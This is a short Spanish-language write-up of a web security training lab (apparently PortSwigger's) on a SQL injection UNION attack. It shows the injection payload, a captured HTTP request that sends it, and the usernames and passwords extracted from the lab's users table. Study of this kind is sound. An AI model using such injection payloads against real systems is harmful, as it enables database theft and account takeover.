

7 Lab SQL injection UNION attack, retrieving data from other tables

Nos dicen que existe una tabla users con las columnas username y password, por lo que utilizaremos las siguientes sentencias para que nos reporte la información de estas columnas:

```
""UNION+SELECT+username,+password+FROM+users--
```

Request

Pretty Raw Hex

```
1 GET /filter?category=
  Gifts' UNION+SELECT+username,+password+FROM+users-- HTTP/2
2 Host:
  0abe001b04d348199c75969d00970081.web-security-academy.net
3 Cookie: session=H5WsNaAFveh2wo2WtacoTL39WpKMOQNb
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
  Gecko/20100101 Firefox/128.0
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.
  8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Referer:
```

0 highlights

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 9026
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
    /resources/labheader/css/academyLabHeader.css rel=
    stylesheet>
10    <link href=/resources/css/labsEcommerce.css rel=
    stylesheet>
11    <title>
```

En la página se nos mostraría si introducimos la sentencia en la URL:

wiener

uzvqbna54rgphe5ptxpl

administrator

vln9tvdzo6dy9oldk38e

carlos

37k3fdbzd67badzte10v
